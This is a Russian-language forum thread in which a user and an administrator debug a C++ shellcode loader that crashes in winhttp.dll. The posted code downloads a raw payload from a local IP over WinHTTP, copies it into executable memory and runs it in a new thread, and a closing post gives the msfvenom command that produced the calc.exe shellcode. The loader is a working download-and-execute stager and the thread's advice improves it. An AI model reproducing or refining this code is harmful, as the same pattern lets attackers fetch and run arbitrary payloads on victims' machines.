Вызвано исключение по адресу (winhttp.dll)


yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Тебе нужно поставить точку остановки на создании потока и построчно посмотреть как выполняется твой поток с шеллкодом и где конкретно возникает ошибка, вероятнее всего проблема в нем, а не WaitForSingleObject, ибо как я понимаю vs показывает ближайшую строку к ошибке, обычно он не показывает конкретную инструкцию на которой она возникает.
Я писал несколько дней назад шеллкод на аллок памяти, была похожая проблема
да проблема не в WaitForSingleObject, для тестов использовал несколько слип , так же крашит на слип
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
1)Вместо free(buffer); нужно VirtualFree(buffer).
2)Сделай проверки всех функций WinHttp на ошибки, а-то у тебя получается даже если есть ошибка, ты про это не узнаешь и программа продолжит работать например код:
Код:
 hSession = WinHttpOpen(L"Opera GX/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);


    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, std::wstring(url.begin(), url.end()).c_str(),
            port, 0);
 *****

Содержит проблемы, если hSession = NULL то программа дальше пойдет и ты ничего неузнаешь.

В общем для начала эти два пункта поправь и глянь, есть-ли ошибки в WinHttp функциях, т.к. падает по факту где-то в них.
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
HANDLE hThread = CreateThread

hThread не проверяется и в коде всё такое, нужно всегда делать проверки, если функция что-то возвращает и делать обработки ошибок.
Также в коде нет закрытия хендлеров.
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
1)Вместо free(buffer); нужно VirtualFree(buffer).
2)Сделай проверки всех функций WinHttp на ошибки, а-то у тебя получается даже если есть ошибка, ты про это не узнаешь и программа продолжит работать например код:
Код:
 hSession = WinHttpOpen(L"Opera GX/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);


    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, std::wstring(url.begin(), url.end()).c_str(),
            port, 0);
 *****

Содержит проблемы, если hSession = NULL то программа дальше пойдет и ты ничего неузнаешь.

В общем для начала эти два пункта поправь и глянь, есть-ли ошибки в WinHttp функциях, т.к. падает по факту где-то в них.
HANDLE hThread = CreateThread

hThread не проверяется и в коде всё такое, нужно всегда делать проверки, если функция что-то возвращает и делать обработки ошибок.
Также в коде нет закрытия хендлеров.
проверки поставил , все буквально тоже самое , так что дело не в этом
C++:
 DWORD dwSize = 0;
 DWORD dwDownloaded = 0;
 PBYTE pszOutBuffer;
 BOOL  bResults = FALSE;
 HINTERNET  hSession = NULL,
     hConnect = NULL,
     hRequest = NULL;

 // Use WinHttpOpen to obtain a session handle.
 hSession = WinHttpOpen(L"WinHTTP Example/1.0",
     WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
     WINHTTP_NO_PROXY_NAME,
     WINHTTP_NO_PROXY_BYPASS, 0);

 // Specify an HTTP server.
 if (hSession)
     hConnect = WinHttpConnect(hSession, L"192.168.222.128",
         80, 0);

 // Create an HTTP request handle.
 if (hConnect)
     hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/calc.bin",
         NULL, WINHTTP_NO_REFERER,
         WINHTTP_DEFAULT_ACCEPT_TYPES,
         0);

 // Send a request.
 if (hRequest)
     bResults = WinHttpSendRequest(hRequest,
         WINHTTP_NO_ADDITIONAL_HEADERS, 0,
         WINHTTP_NO_REQUEST_DATA, 0,
         0, 0);


 // End the request.
 if (bResults)
     bResults = WinHttpReceiveResponse(hRequest, NULL);

 // Keep checking for data until there is nothing left.
 if (!bResults)
 {
     return -1;
 }
 
 // Check for available data.
 dwSize = 0;
 if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
     printf("Error %u in WinHttpQueryDataAvailable.\n",
         GetLastError());

 pszOutBuffer = (PBYTE)malloc(dwSize);

 // Allocate space for the buffer.
 if (!pszOutBuffer)
 {
     printf("Out of memory\n");
     dwSize = 0;
 }
 // Read the data.
 ZeroMemory(pszOutBuffer, dwSize + 1);

 if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
     dwSize, &dwDownloaded))
     printf("Error %u in WinHttpReadData.\n", GetLastError());

 // Report any errors.
 if (!bResults)
     printf("Error %d has occurred.\n", GetLastError());

 // Close any open handles.
 if (hRequest) WinHttpCloseHandle(hRequest);
 if (hConnect) WinHttpCloseHandle(hConnect);
 if (hSession) WinHttpCloseHandle(hSession);
   
    PVOID buffer = VirtualAlloc(0, dwSize, MEM_COMMIT | MEM_RESERVE,  PAGE_EXECUTE_READWRITE);
   
    RtlMoveMemory(buffer, pszOutBuffer, dwSize);

    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)buffer, 0, 0, 0);
 if (!hThread)
     return -1;

    WaitForSingleObject(hThread, -1);
    VirtualFree(buffer,dwSize,0);

    return 0;
 

X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 095
Репутация
8 214
1)ZeroMemory(pszOutBuffer, dwSize + 1); и будет буффер оверфло, т.к. pszOutBuffer = (PBYTE)malloc(dwSize);
2)Проверь dwSize и dwDownloaded, они видимо должны совподать и вообще dwSize адекватное значение имеет ?
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
1)ZeroMemory(pszOutBuffer, dwSize + 1); и будет буффер оверфло, т.к. pszOutBuffer = (PBYTE)malloc(dwSize);
2)Проверь dwSize и dwDownloaded, они видимо должны совподать и вообще dwSize адекватное значение имеет ?
dwSize и dwDownloaded совпаднают, dwSize приходит нормальный , все окей ,в коде с winhttp, который я написал , все коректно, сам shellcode выполняется , но почему-то появляется ошибка с этим исключением
ZeroMemory(pszOutBuffer, dwSize + 1)
взял с оф. документации, удалил +1 , размер коректный, такая же ошибка
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
dwSize и dwDownloaded совпаднают, dwSize приходит нормальный , все окей ,в коде с winhttp, который я написал , все коректно, сам shellcode выполняется , но почему-то появляется ошибка с этим исключением

взял с оф. документации, удалил +1 , размер коректный, такая же ошибка
там dwSize + 1 нужен был для строк , забыл убрать
 

yum

Пользователь
Форумчанин
Регистрация
30.11.2023
Сообщения
47
Репутация
5
Начав дебажить shellcode , крашится на этой инструкции . ShellCode сгенерировал при помощи msfvenom ```msfvenom -f raw -p windows/x64/exec CMD="C:\windows\system32\calc.exe" -o calc.ico```
1705329778505.png
 
Верх Низ